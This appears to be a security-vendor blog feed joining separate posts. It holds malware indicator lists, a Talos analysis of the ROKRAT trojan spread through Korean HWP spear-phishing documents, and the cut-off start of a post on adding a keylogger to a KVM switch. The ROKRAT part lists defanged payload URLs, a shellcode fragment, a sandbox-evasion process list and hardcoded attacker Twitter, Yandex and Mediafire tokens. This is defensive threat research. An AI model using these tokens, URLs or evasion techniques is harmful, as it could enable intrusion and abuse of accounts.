• 2ca2cc8af7e0d37bdb2dbba9abf8399e4db695a7d6b31d050950a68d2635f260
• 2d8900fceeb3ec6a064420d662e7422d4ebc1230479b9c330661e10ef1b21881
• 2fe88a9c446bfb5cb93c948cfcb9d781a03a8422d5307e0ac4e987f16c46abd2
• 3393ddf44d6636bbc1d45c26b3a9c5073217a95d7506ddf7756e813e445a9ecb
• 348aee4ee9827c954854a496f24f2c4d2ba96853344884e8a5cf616d07d7236d
• 35582cb16758ed296fad554830cca279fce0d7512851ba0a382373f2d8ed32d2
• 368fc1d3fe0de1e9a73c7c5dd840d2f769e8c3d1a32a86390905d45e9ab2d9ff
• 3739cb9ef330544fc349da2c9cbc66151205904f625acda85bbe16152943830d
• 3a01219542a25bab989ffd78af40a4b13a636e9cdd50f92d659e9dbf253abf94
• 3becf2e1eb115dc2e41d947826b59ab8fd83b3f825b9cd3bb9f8003dd1d02416
• 48b565b639fa5d532b65246f82e66b325b7e8549f9bf04d27955a1b3a98fa281
• 53c50bf3bdfa58b66565071e82bb7ba40ac3cc344893b0aeeaa15502483ec3f6
• 54b5776a210ac4b6a00eca3efa2f0b665616f706a813cf29fe2ecf19cd90887c
• 5549e374040cd995939b24a8095c74e9fec188a04ca9a0189a289d3be0bfdc37
• 5617e4b5e25a41d5a491b3e36fcd165a1a7b999ea0de567ca63baec40b757ddf
• 5854de47ff6fedc84cc6fb73760763b8e427164bf3369e89d3e4b3b42483103d
• 5b34c3c2ec780258644c3245693dfef254cb91716c35ae33937f637bd8e04978
• 5d996e33e92e6f7b83867ccad52be72274bfd79d964bc4988043d91231369650
• 60979006e12a42b7f781adb2b1f8fe05836db0683abe0efc05b822dad5d1a9f7
• 6556d7052f3c3fafe15aa3ee81dbbb4b1caee88fd7e65788c1f90bfd940be7b0
• 69e7d856dc8e0b5508b8a4050c36451a0dc0164b856e1bd1efdbc6f8ec6de66e
• 709fe7d54e5ba52f2e45c4c62fdf1636ed64be0ae367bd992eb212aa234200cc
• 7120ecc9c04b8f9d93829210f3168b14cfecd45dec52478ff87d0ee86324cc0c
• 71715f32e3cb54756b39716f8dd33c503eabbb054f4a4e82d5e2b9a9b96ed46f
• 77d049ad71ea81f13e89d82ed398e59e95085d10cb0041eb6ef5ed48c0fd95e2
• 77d11af8d4b7f9e48764d285e801f1db3d7dffcd6a0ba17bb9bb75c178227b96
• 7dc0651c4258b079fe68acbddfcbedd89a94448bffbf4ca93c231fca171dda09
• 805d74474a13e5a3be13c73bb1d0dbb1b33dfc9dcaf067b4aea5d2a8584a29eb
• 80a05b5499539e7bbdd3dd34f04a940c5d36f8d44d7725c6530bf3872966a27a
• 85d95919960cab3788b587008fa49b61c230bbbe28cd9d000f0cb179abbbb0f5
• 896dc5b55cd8c0e160dc52ac9b21ed4c46da22ed3c369eb5dee856edb88f46e1
• 8caf0f703a108a6fec8d55e8f1a028814a3f26afb2f8a58a96576e1042f99874
• 8e8cd4aefc8422ba176d009d90ddcd65f72161a2576ab443f69480bb30050825
• 8f9292e116fb2a07838724e648e17d2a5e5e3e074232dbd83bfe624391acafee
• 9009b9ad9547af92f68b01f09200a043da6be1a65b274129a7c47532f3f966b0
• 99d311cef89fade4d29e3e33df256029841d59d2ee06579dbeac2c9519ef7cb3
• 9a80fde74d9e7674be309f44f6fa7b5e53f34a0d6f2fcc084d733c42bf95c4a5
• 9ba0d666293490f051b1612e6c8bd635dc382ae4e931fff5fe9ba7fa926d6b82
• a32c4d11737b59236b47b73fe20952a3827593b52f241100ba77648e60e1d42c
• a49705d9325ce8d87b1f24e92a3b64164ab0051eb3efbc0fc775d579959d9a62
• a69f4d4eddbd656a6ae061cc001ae245db87eced67015365cca1834179845290
• a8a449812c89915a1872aeed6424abdf7fc1f4b8d8ae35deee3f3c04104c2a79
• a9e9af82ef11cc51091426afd0784ad62c57dbeeecccd566f8cdf6be2fd8258e
• adb6155ed8d5b3e7c4a2c6fc58108382313b05f171336c52cb1ae7119dfee540
• ae01487921a5e8538f1599c3b0d467328992b32aace53b776180c6071bbae2fb
• aeb6e8a86ce9c7a9cfc0efe82038932ec1c9ca150279f151574233777b4ee69f
• b3551d5d465a7e7315a5c5ad15c99393f1dd77732ff2ddcbd96c0907c3b6e84b
• b402f8acfdbfd194baa2736b45b6529dbc2a6e523f7a7f15470765019387eb6d
• b47ba806ce07000e7fc3365da81afcd6783308e2077391f80e3a272d8090d95c
• b4d192f5122872145142b32a8c11253d70c83a5c23963da0c7f3408593e81238
• b55375ea1eac3f1967483e18c6b32cb5332d281975d54913c6fd3156129574f0
• b5df216db89067df157bab2c5e0042985e03aba5d1807551a069cf800b21d385
• b5ea73190ced08e3694d27d298a69f040cf70b05f21812f60334444102eb875e
• b798f6c32168e8c598af8b795924d42334dc1dbe9d5888125e39c0d3f03cda69
• b831e804d52760572bb4f77d9b62a2da6bbd6c7c4f5ddb0f1b5731e47fa784e7
• b9dd997c2f141fc0dea676b42dd962050f2886f2a1398a14f8e91498486eac90
• bbcf611f3d1da4aa31cd953d7372c50d8ce9a49af8664a86eb804adad390f0e6
• bcdd7ae916d59519521e9c3e96980092c0ad84db98b1f1301eee6899fa599769
• c3a0e9b007795db909245c18f597b4ece53dea011b088abd4f0717208dd3253c
• c3abbd74785fa3d8eb51f0f99fa568e566f864244ea2f4fda9971cda661036da
• ca4607f2cabdd6d3693ad3405085abd1e92112cf7a9fe56a2e52615778bfe79a
• cb10ef20a93542eb0e8ec1e9c921ad120454156c8ec5e431b3b1afa27afd8bbc
• cf0ee89b626684ed9f9f60823531dd1ed38cfd46395036209a274cadaf123575
• d10fa5c1a6bd4da0a3f9d0ee605fa906db9a7e0fe2cc213339d5af8cbee80855
• d20e3bad471429f04e0ca1b28fcf1177cac689394f39dcb20379935dbea883cc
• d314d825d85787833886b1a8c4cf882f8b25f268206e23372cdf3cc67d15e162
• d543f49808fc093e31f8282407d2b520678f041a5c43646b235116743b2e0eaf
• dafaa5c3d3ef49d1f17027cd33a6172b4ac35defaa12f136503200104eebfa1c
• db5e3b35e653690b164bb3aa7f9e8caa9e77f9233d846fbda27f616eb7334aff
• dccc34da745ee2d9464a643be8b4239f3f592498d5362b29dedb30c259878404
• dd926e46cf871d98cfb025896bbcb5a5c71025f5573f5ad1eb0ee77aa3bf5546
• ddc9d38524dc6f2ac918c5f0cb251cc2916f063835414bf34a58cc0c997acccf
• e4921ad4b0561e8c4dfbe0f72aff53d9bc06eaf177a9dbca7e538a6f1312ba1d
• e49328097b3531fb8981531e931b3cd1e2adcc22c8a89781260e0bd779705143
• e96d823ab4de0dde23a564e327d610d933051d6664df685278f85e6d096e25a5
• f3f8905a5ddc3074a367095a51662d4ac434dbe9e680d0b94bfa71f6b5875329
• f6c8e3c90fbc309e3d25c7b08609684e7ca16d93d7a568b702910222af9a4d4f
• f8ca6ffd131b738a30c90b486a839010a85a31d7675e090ea1c850529962bdfd
• f969874b93e7cd1fc2b14a750e4cc8fc778f70e9991a3109ace4e188d568442a
• fbeed70655a2eaf30ca878e1ddf4985a99a767a014adcd00a2150cc270315fe7
• fcc6f903c83a63e8579d1db1940d23294a13a288960d9d07052d978dff9b9e8c
• fe592fb50f84f5a8f10fd14a2a01a0c167a11c1c2242196e2b626a581ca5ac28
• ff198bf3509d1ff43c5529fdd16b160505117bec958363e7e385b4ca1bb4dc73

Coverage

Screenshots of Detection

AMP

ThreatGrid

---

Win.Trojan.VBCryptLaser

Indicators of Compromise

Registry Keys

• HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\DisableOSUpgrade
  This key is created and set to 1. In this way, the malware prevents any OS upgrade
• HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\OSUpgrade\ReservationsAllowed
  Key necessary to disable any OS update. It is set to 0.
• HKEY_USERS\Software\[a-z]{8}\[a-z]{10}
  This registry key contains an encrypted copy of the malware binary.
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  The persistance method invokes at every login Javascript code.

Mutexes

• N/A

IP Addresses

• 185.117.72.90
• 12.190.56.53
• 104.193.109.67
• 133.28.94.49
• 19.131.186.114
• 109.152.13.49
• 46.248.138.70
• 36.150.95.154
• 151.126.133.167
• 49.117.103.250
• 145.85.32.96
• 244.159.110.110
• 8.19.53.244
• 218.255.128.133
• 110.200.102.30
• 161.133.250.103
• 216.115.112.112
• 93.10.53.55
• 214.28.222.43
• 194.59.147.179
• 206.213.193.26
• 140.192.50.4
• 170.54.3.5
• 202.161.197.181
• 3.166.202.197
• 187.23.153.218
• 69.81.37.149
• 138.142.156.77
• 97.207.252.167
• 153.74.137.236
• 32.144.23.231
• 203.4.193.199
• 193.212.108.131
• 27.32.23.117
• 116.67.48.94
• 236.43.120.190
• 248.100.151.74
• 140.178.134.108
• 71.40.250.251
• 2.170.194.13
• 188.121.121.90
• 103.182.107.224
• 238.44.206.248
• 185.196.78.227
• 241.117.137.46
• 27.184.52.156
• 17.100.187.246
• 142.159.223.136
• 53.154.160.76
• 74.112.68.147
• 150.158.250.75
• 153.11.186.249
• 83.172.78.89
• 89.50.100.129
• 252.84.7.113
• 112.84.131.231
• 156.116.8.163
• 109.137.79.244

Domain Names

• puresourcecollective[.]com
• appollobafh[.]com

Files and or directories created

• N/A

File Hashes

• 2acfab58519552eaed08a1a40cf92368e28b3a665b7d6851b47e38f2bd8f598e
• 3e2f71a4dd6bc8e866325ccee3d780b029532e83d5aef69825d1a583205a6f4c
• 455f53b882d1648694d8b8cbcc625c2ee2a5f7400f0db70bd7385284304751f4
• 56ded612854f90cf5ba70daba78308a9e46198444ea3b63b0c2707c6776a1b4d
• 58f3fd45631a08818d44c8c7f555f46d2817d4ef804a8faf80c47faa388e436f
• 68f3ed6d61556fd899e95d2b5b43a266cd23fb763b6e1f02dff2e2d62a27a41f
• 6a9b132e407edec1c06ebec33a47ff0a1f44968679f88c2584c380d033b748e3
• c2bacb6a9ddf8eca886f083c9f52d8979cfd29b3f0b97fbb0c76ca86373562a8
• Faa87134b84133b85c42cb1997c96b04021b2848369599e555b100981fbc7cad

Coverage

Screenshots of Detection

AMP


ThreatGrid


Umbrella

---

Win.Virus.Virut-6171773

Indicators of Compromise

Registry Keys

• N/A

Mutexes

• N/A

IP Addresses

• N/A

Domain Names

• jl[.]chura[.]pl
• sys[.]zief[.]pl

Files and or directories created

• Modify host files

File Hashes

• a477f53caa2a04835db7e3e02238fd90b92930738e6d512543bb4b6114b28d81
• ef1070106dbad598487ddd22a8fe7d40d8cc30a49e8c48d19ea02c76497a062c
• 7075a7fb70a46dc02460abc92b890b6e9f43ab20e4d47d16435dc133c218cd42
• 128debd4fa18c3ad5ff49925ea3d8a3ccd013e82950cde429b09e8d58878f27c
• 1319090b4d1d8b9815005585ee3fa15ac1df4f2eca0e22e22bc317e52a520c4e
• bd92f8a83f0fbebc76749c41916fa212b75b386386c25e1203f53657adf07aac
• 6d71a5594dc5adc2bab1fd2ead630a705c7c0e02e2a5a20994584a1fb1effa4f
• ba9cdbb4b0f43daa78bd8cb9cc4f842fb970bdbf0ed012760a55e2df34778232
• fbb151befa1d287d49870fa9fc6254036452c4ca3e80da7bb19d529a8a4382ea
• 6f1cebb94490adcd133bba22a6ba9aafce96d84c76dc4007bbe5ff0c83431462
• 1f6984b9f0dc7009a91577b3868d8980c5ee47a161559f56878e5e80424e01a7
• a2d5c82fe41f613c159d6952c9ff3aa2a1b059ce4692e20292ba2e01effb2e9e
• 62796ad8ede80f59beb4f4b40d68cc4e5477cecd10f2b7993d25cdeac9535bd0
• 1c752622d01064f0adf1962e1d5671cff249be495bea9bbaf200fdfd2124f9b2
• db97b4f3aa56a8111d007c2581379d827e97994843d0d7b4d461ba151db52988
• b0b0ae2afa85dac9f3d289059a06cde24e33308dae64f11fa3ee68a93f8a6b67
• 6e27d1b6622efc68e98acc87e9356a78af7d942e0cba0d3aa97809cecec6bdf9
• 2a0ea00ae1634818d3d84d699a54ad9cb28c71dddf24b0340c9a6b1449d2d966
• 348713e66c6ddc09dbcf95ca50cfe384987031fc787249fa14d10aacdb3b7e1c
• d754e1fac2ae13b1cbc6d7beec8f37c1f304a52120e6e6878b06d8183f659c17
• 0e653eb48d3718b3abd3459386795a3802bde8aad920a33cc2d8d632138b0a61
• 8e431f2bf003132434c5fca097c60240fee7f1e9ca30bc7a063dabcd7d902841
• 683192a27d4316eb1073522de5fb3fa1e3923b5e7d6cdb979d4bd82ed317fa47
• 8f0058f2fa085a4cf8ee5dc01250aa18dd624187d527b5521438cfcda2a4fbe4
• b89927a14e2e54b2bd917904b38737ce96f3bc004215c5a0486fc0a96a6c47d5
• ebf6f32cf12e0839338564a6edef3d8ec8b7ebd1d93bc09c3359a69a4803460d
• 68ef4a3024eeadab44169cb292f897e66e57342dd65c9b63fda5fad6cb517e53

Coverage

Screenshots of Detection

AMP


Umbrella



ThreatGrid
Malware Screenshot

---

Win.Ransomware.Spora-6172235

Indicators of Compromise

Registry Keys

• N/A

Mutexes

• \Sessions\1\BaseNamedObjects\m[0-9]{9}

IP Addresses

• N/A

Domain Names

• N/A

Files and or directories created

• %APPDATA%\[A-Z0-9]{5}-[A-Z0-9]{5}-[A-Z]{5}-[A-Z]{5}-[A-Z]{5}.html

File Hashes

• f8bf2eb6481164e4a8cae0dc1114044a9ba81d41350edd1be19021e2cbdab749
• 5e7a7f4ef9ba326e3650c4ee58bdfafb3661fa50f680d78d5868240120c553be
• b64639ae67147ff584507627713db60baf8050cedb9a7e4d3b68b521ca54ad36
• e849051316cc2cf869f80f66cd2b48b436d51cc7544bad3309774aebf101c889
• 81cc065fc899b98f774708d8176ad4319311ff8643138705b24fbeb439f6e0d0
• 6c191a684907ec323516c837f66cd7331acbdad65220b73dba9307dffaa284f9
• 8a8ebf400b190a6fabf6d0e5f6756dfd1d856395161e522a7efe43342531894e
• ec31d44d1c2eae34897001c41e14ed26c03d8acaabf00ee31183021f7a2fd141
• e1a3784ef065cea4a8c8402015028494c18e3cd235cbb13785d269452376b2f1
• 9232ac662ebf2460bc2eb68875b548eb2547f62c5f7799861cfc0bebf5bf1e53
• 23a91bb1cf1019f1b6aabfc249df42b57a76d78d09a33b39441206d62f416fc8
• b3b489585e8d6714ac05b79ae3e01cf3c93e51ebb5d16ccec2a6afcf4eb4c325
• c0f7e40dd057ab32aaecad7df71b22433ef7474a57e5a2e58ec7fd613dfc30b5
• a25bafcf74304d56beeb5395a0f801a743e27381ca95626f4720a48c966e3129
• 66449dde7d12706fb9ab6aafd690e077f5f37f11aa8b372a95d9e962763c7bc1
• e1f992137562f1cfe5d38f57f36ffac76dda729e102b6abaedda89970ba8c493
• 6072804f727f1f237b4fcdeec9428449311d3cc54d9e0d284a68d300f3c858f6
• 2432fad4d84816155ea80075d686896de32304c8f453c01b029ad21e7eb17b13
• 9c93758e4b5767edaebb8bb39e0b7566715e2b610d2117bc6e1acf2578c973f5
• 67342ca4bada435d4e8d03d65342434f70909f54d4951412e18c49aeb72dcf47
• 346cf5120e5d1512f879d14111254ba68e3eaa3d3ea6f02977cd835725521984
• 288384c983496978fdda879847525e26194761394d62febeb922284cbeba0c9d
• 722b92a1f10fd2cac878ab7f9e3a120d656a245e40cc13a0bc619eb63362768d
• 5a011ceb0bf539ac5cc7e89b85dd7b742d94093fe84153d647fa18f16e7cac06
• 0304ce1dbaf1cf933f7d63dc559101b5899af7e07fef52abc38de430a428fce2
• 1f63371f2b2a5f340ea3c4d211b1fe0d6197e3a00e87cae49e873ae8964e8810

Coverage

Screenshots of Detection

AMP


ThreatGrid


Malware Screenshot

This blog was authored by Warren Mercer and Paul Rascagneres with contributions from Matthew Molyett.

Executive Summary

A few weeks ago, Talos published research on a Korean MalDoc. As we previously discussed this actor is quick to cover their tracks and very quickly cleaned up their compromised hosts. We believe the compromised infrastructure was live for a mere matter of hours during any campaign. We identified a new campaign, again leveraging a malicious Hangul Word Processor (HWP) document. After analyzing the final payload, we determined the winner was… a Remote Administration Tool, which we have named ROKRAT.

Like in the previous post, the campaign started with a spear phishing email containing a malicious attachment, the HWP document. One of the identified emails was sent from the email server of Yonsei, a private university in Seoul. The address used in the email was 'kgf2016@yonsei.ac.kr' which is the contact email of the Korea Global Forum where the slogan in 2016 was "Peace and Unification of the Korean Peninsula". This fact gives more credit and legitimacy to the email.

The HWP document contained an embedded Encapsulated PostScript (EPS) object. As with our previous publication this again is zlib compressed and trivial to obtain. The purpose of the EPS is to exploit a well-known vulnerability (CVE-2013-0808) to download a binary disguised as a .jpg file. This file is decoded and finally an executable is launched: ROKRAT. This RAT has the added complexity that the command and control servers are legitimate websites. The malware uses Twitter and two cloud platforms, Yandex and Mediafire, apparently for both C2 communications and exfiltration platforms. Unfortunately, these platforms are difficult to block globally within organizations as their use can be viewed as legitimate in most cases. Additionally, these 3 platforms all make use of HTTPS connectivity, making it much more difficult to identify specific patterns or the usage of specific tokens.

Spear Phishing Campaign

Below are examples of the emails used against victims in South Korea


The first email we discovered was the most interesting. In this first sample, we observed the attackers praising the user for accepting to join a panel relating to the "Korean Reunification and North Korean Conference". The text in the email explains that the receiver should complete the document to provide necessary feedback. However, this appears to be a fake conference. The closest match we identified to any Unification conference was held in January 2017, which was the NYDA Reunification conference. The sender is 'kgf2016@yonsei.ac.kr' which is the contact email of the Korea Global Forum.

When we analyzed the email headers we were able to determine the Sender IP was 165.132.10.103. With a little magic from our friend 'nslookup' we quickly determined this to be part of the Yonsei University network, the SMTP server in fact. We believe that the email address was compromised and abused by the attackers to send the email used in this campaign.

The sample filename translates as 'Unification North Korea Conference _ Examination Documents' which reinforces the text in the email about the reunification conference. For an added bonus the attacker even suggests in the email people who completed the document would get paid a 'small fee'. Perhaps the gift of embedded malware is the payment.

The second email Talos analyzed had less effort applied. The email was from a free Korean mail service provided by Daum, Hanmail, showing there was no attempt at trying to appear to be from an official body or person compared with the previous email. The subject was merely 'Request Help' while the attachment filename was 'I'm a munchon person in Gangwon-do, North Korea'. We suspect the attacker is hoping the victim will feel empathetic toward the sender as the Kangwon Province (where Munch'ŏn is located) was previously part of South Korea. The attachment contains a story about a person called 'Ewing Kim' who is looking for help.

The email's attachments are two different HWP documents both leveraging same vulnerability, CVE-2013-0808.

Malicious HWP Document

An HWP document is composed by OLE objects. In our case, it contains an EPS object named BIN0001.eps. As with all HWP documents the information is zlib compressed so you must decompress the .eps to get the true shellcode.


The shellcode used to exploit the CVE-2013-0808 can be identified in the EPS object:


An interesting thing is that the shellcode does not start with a 'normal' NOP sled using 0x90 but with 0x0404 (add al, 0x4):

user@lnx$ rasm2 -d 0404040404040404040490909090909090909090E8000000005E
add al, 0x4
add al, 0x4
add al, 0x4
add al, 0x4
add al, 0x4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call 0x19
pop esi

The purpose of the shellcode embedded in the 2 HWP documents is to download and to decode a payload available on the Internet. Once decoded, the file (a PE32) is executed. Here is the extracted URL which the document attempts to download the .jpg from:

SHA256: 7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e

Filename: 통일북한학술대회_심사서류.hwp ("North Korea Conference _ Examination Documents")

URL: http://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpg



SHA256: 5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f

Filename: 저는요 북조선 강원도 문천 사람이에요.hwp ("I'm a munchon person from Gangwon Province in North Korea.")

URL: http://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg

ROKRAT Analysis

The RAT downloaded by the 2 HWP documents belong to the same family. The main difference between the samples are the Command and Control capabilities. One of the samples analyzed only uses Twitter to interact with the RAT, while the second one additionally uses the cloud platforms: Yandex and Mediafire. The Twitter tokens we were able to extract are the same in both variants. There is obvious ongoing effort to add features to this RAT to allow for more sophisticated levels of attacks.

Analysis Frustrations!

The ROKRAT author implements several techniques typically seen to frustrate human analysts and avoid sandbox execution.

First, the malware does not run on Windows XP systems. It uses the GetVersion() API to get the OS version. If the MajorVersion is 5 (corresponding to Windows XP or Windows Server 2003), the malware executes an infinite loop of sleep:



Additionally, the malware checks the current running processes in order to identify tools usually used by malware analysts or within sandbox environments. The code used to perform this task:



The malware checks the process names in use on the victim machine. It compares if the executed process name matches a partial name hardcoded in the sample. Here is the complete list:

• "mtool" for VMWare Tools
• "llyd" for OllyDBG
• "ython" for Python (used by Cuckoo Sandbox for example)
• "ilemo" for File Monitor
• "egmon" for Registry Monitor
• "peid" for PEiD
• "rocex" for Process Explorer
• "vbox" for VirtualBox
• "iddler" for Fiddler
• "ortmo" for Portmon
• "iresha" for Wireshark
• "rocmo" for Process Monitor
• "utoru" for Autoruns
• "cpvie" for TCPView

If any of these processes are discovered running on the system during this phase of execution, the malware jumps to a fake function which generates dummy HTTP traffic. Additionally we discovered that if the malware is being debugged or if it was not executed from the HWP document (i.e. double clicking the binary) or if the OpenProcess() function succeed on the parent process, the fake function is also called.

The purpose of this appears to be to generate network traffic to provide some level of feedback/discovery during any dynamic analysis research. This could generate a seemingly 'good' indicator of compromise when in fact it is merely fake traffic generated. The fake function performs connections to the following URLs:

• https://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
• http://www[.]hulu[.]com/watch/559035/episode3.mp4

The Amazon URL displays a WWII game called 'Men of War' whilst the Hulu URL attempts to stream a Japanese anime show called 'Golden Time'



These URLs are not malicious. The malware pretends to navigate these locations. The files do not exist during the investigation and were downloaded only if a malware analyst tool is running on the system. We believe these URLs are used to attempt to trick any analysis.

C&C Infrastructure

ROKRAT uses a legitimate platform in order to communicate, receive orders and exfiltrate documents. In total, we identified 12 hardcoded tokens used to communicate to these legitimate platforms, all via their public APIs.

CC #1: Twitter:

The first CC discovered is Twitter. We identified 7 different Twitter API tokens hardcoded in the sample (Consumer Key + Consumer Secret + Token + Token Secret). The malware is able to get orders by checking the last message on the Twitter timeline. The order can be either execute commands, move a file, remove a file, kill a process, download and execute a file. The RAT is able to tweet also. The sent data is randomly prefixed by one following 3 characters hardcoded word:

SHA-TOM-BRN-JMS-ROC-JAN-PED-JHN-KIM-LEE-

To perform these tasks, the malware uses the official Twitter API:

CC #2: Yandex:

The second CC is Yandex and more specifically the Yandex cloud platform. This platform allows the creation of disks in the Yandex cloud. Concerning this CC, we identified 4 Yandex tokens hardcoded in the sample. The API is used to download and execute files or to upload stolen documents. The exfiltrated documents are uploaded to :

• disk:/12ABCDEF/Document/Doc20170330120000.tfs

Where "12ABCDEF" is a random hexadecimal ID to identify the target and Doc20170330120000 contains the date.

CC #3: Mediafire:

The last cloud platform used by the Remote Administration Tool is Mediafire. This website is used in the same way as Yandex, the purpose is to use the file storage provided by Mediafire in order to download and execute files or to upload stolen information:




In this case, the malware author hardcoded one account in the sample (email / password / application ID).

Additional Features: Screenshots Capture & Keylogger

Additionally, one of the samples is able to capture screenshots of the infected system. To perform this task, the developer used the GDI API:



A keylogger is also present in the analyzed sample. The SetWindowsHookEx() API is used to retrieve the stroked keys. The GetKeyNameText() API is used to retrieve a string that represents the name of a key. In addition to the key, the title of the foreground window is stored in order to known where the infected user is typing (by using the GetForegroundWindow() and GetWindowText() API).

Conclusion

This campaign shows us a motivated malware actor. The usage of HWP (an application mainly used in Korea) and the fact that emails and documents are perfectly written in Korean suggests that the author is a native Korean speaker.

The RAT used during this campaign was innovative, using novel communication channels. ROKRAT uses Twitter and two cloud platforms (Yandex and Mediafire) in order to give orders, send files, and get files. This communication channel is extremely hard to contain because organizations often have legitimate uses of these platforms. The malware includes exotic features such as the fact that it performs requests to legitimate websites (Amazon and Hulu) if the sample is executed in a sandbox or if a malware analyst tool is used. We assume the goal is to generate incorrect reports and IOC.

This investigation shows us once again that South Korean interests sophisticated threat actors. In this specific case, the actor compromised a legitimate email address of a big forum organized by a university in Seoul in order to forge the spear phishing email which increased the chance of success. And we know that it was a success, during the writing of the article we identified infected systems communicating with the command & control previously mentioned.

Coverage

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS orWSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection ofIPS andNGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network

IOCs

Files hashes

HWP Documents:

• 7d163e36f47ec56c9fe08d758a0770f1778fa30af68f39aac80441a3f037761e
• 5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f

ROKRAT PE32:

• cd166565ce09ef410c5bba40bad0b49441af6cfb48772e7e4a9de3d646b4851c
• 051463a14767c6477b6dacd639f30a8a5b9e126ff31532b58fc29c8364604d00

Networks

Malicious URLs:

• http://discgolfglow[.]com/wp-content/plugins/maintenance/images/worker.jpg
• http://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg

Not malicious URLs but could be use to identify RAT execution:

• https://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg
• http://www[.]hulu[.]com/watch/559035/episode3.mp4

Tokens

Mediafire

Account #1
Username: ksy182824@gmail.com
Application ID: 81342

Twitter

Account #1
Consumer key: sOPcUKjJteYrg8klXC4XUlk9l
Token: 722226174008315904-u6P1FlI7IDg8VIYe720X0gqDYcAMQAR

Account #2
Consumer key: sgpalyF1KukVKaPAePb3EGeMT
Token: 759577633630593029-CQzXMfvsQ2RztFYawUPeVbAzcSnwllX

Account #3
Consumer key: XVvauoXKfnAUm2qdR1nNEZqkN
Token: 752302142474051585-r2TH1Dk8tU5TetUyfnw9c5OgA1popTj

Account #4
Consumer key: U1AoCSLLHxfeDbtxRXVgj7y00
Token: 779546496603561984-Qm8CknTvS4nKxWOB4tJvbtBUMBfNCKE

Account #5
Consumer key: 9ndXAB6UcxhQVoBAkEKnwzt4C
Token: 777852155245080576-H0kXYcQCpV6qiFER38h3wS1tBFdROcQ

Account #6
Consumer key: QCDXTaOCPBQM4VZigrRj2CnJi
Token: 775849572124307457-4ICTjYmOfAy5MX2FxUHVdUfqeNTYYqj

Account #7
Consumer key: 2DQ8GqKhDWp55XIl77Es9oFRV
Token: 778855419785154560-0YUVZtZjKblo2gTGWKiNF67ROwS9MMq

Yandex

Token #1: AQAAAAAYm4qtAANss-XFfX3FjU8VmVR76k4aMA0
Token #2: AQAAAAAA8uDKAANxExojbqps-UOIi8kc8EAhcq8
Token #3: AQAAAAAY9j8KAANyULDuYU1240rjvpNXcRdF5Tw
Token #4: AQAAAAAZDPB1AAN6l1Ht3ctALU1flix57TvuMa4

Author: Ian Payton, Security Advisory EMEAR

This post is available to download as a whitepaper.

Introduction

Too frequently security professionals only consider software vulnerabilities when considering the risks of connecting devices to their networks and systems. When it comes to considering potential risks of connected devices and the Internet of Things, not only must security professionals consider potential vulnerabilities in the software and firmware of these systems, but also physical vulnerabilities in hardware.

Tampering with hardware is method by which attacker can physically modify systems in order to introduce new malicious functionality, such as the ability to exfiltrate data without resorting to exploiting software based vulnerabilities.


In this post, we demonstrate the possibility of modifying a standard KVM switch to include an Arduino based key logger. We show that this can be achieved using off-the-shelf tools and components by anyone with a minimum of electronic engineering and programming knowledge.

KVM switches are hardware devices frequently used in operational environments that allow a user to easily switch between and control multiple computers from a single keyboard, monitor and mouse.

They fall into some broad categories:

• Entry-level domestic and SoHo KVM switches operating from a physical button, with little scope for hacking.
• 'Hot-Key' KVM switches that allow the user to switch between attached computers by entering a combination of key presses. The inclusion of a microcontroller to identify a hot-key press suggests that these devices may be subverted as a key-logger.
• Enterprise level KVM switches offering tighter system integration. These are likely to be significantly more complex, and may be running small, real-time operating systems, with the consequent opportunities for hacking.

Here we describe the analysis of a KVM switch from the second category. Our choice was inspired by a client engagement where a client noticed an RJ45 port on their KVM switch and asked us to assess the security of the device.

The Belkin E Series OmniView 2-Port KVM switch is a domestic/SoHo unit that provides hot-key switching. This was selected as being representative of devices in this category, so the outcome of any analysis is expected to be broadly applicable across similar devices from other manufacturers. Low cost units can be found on eBay (less than £10).

Opening the Case

Inside the case a set of components is revealed, including the following:

• Microcontroller PIC16C57C
  
  This is an OTP PIC microcontroller made by Microchip Technology. This can be seen in the picture below as the larger chip towards the right of the PCB at the rear next to the cylindrical black buzzer. As can be seen from the picture, the microcontroller is in a DIP package, and is mounted in a socket. This makes it particularly easy to remove the microcontroller to help with reverse engineering.


• 5 x 74HC4053D
  
  These are triple analogue dual multiplexers made by NXP. A dual multiplexer is capable of switching a single input to one of two outputs, so these five devices likely form the core logic for switching the PS/2 keyboard and mouse signals between one of the four output ports.

The PIC16C57C Microcontroller

This microcontroller is from a family of popular microcontrollers made by Microchip Technology. These microcontrollers are also popular in the hobby market, so there is a large amount of documentation readily available. The datasheet for the PIC16C57C can be found amongst a range of documentation on the microcontroller family here:

• http://www.microchip.com/wwwproducts/en/PIC16C57C

This includes documentation on the programming and verification protocol, which is useful for reverse engineering.

Firmware analysis

Programming and Verification Protocol

The PIC16C57C Programming/Verify specification outlines how to perform a 'quick verify' procedure on the microcontroller. This involves the following:


Using this procedure, the first location to be read is a special configuration register, which has a pseudo-address of 0xFFF. Once OSC1 is clocked (at steps 6 and 7) the next location to be read is memory location 0x000 then location 0x001 and so on.

Building a verifier

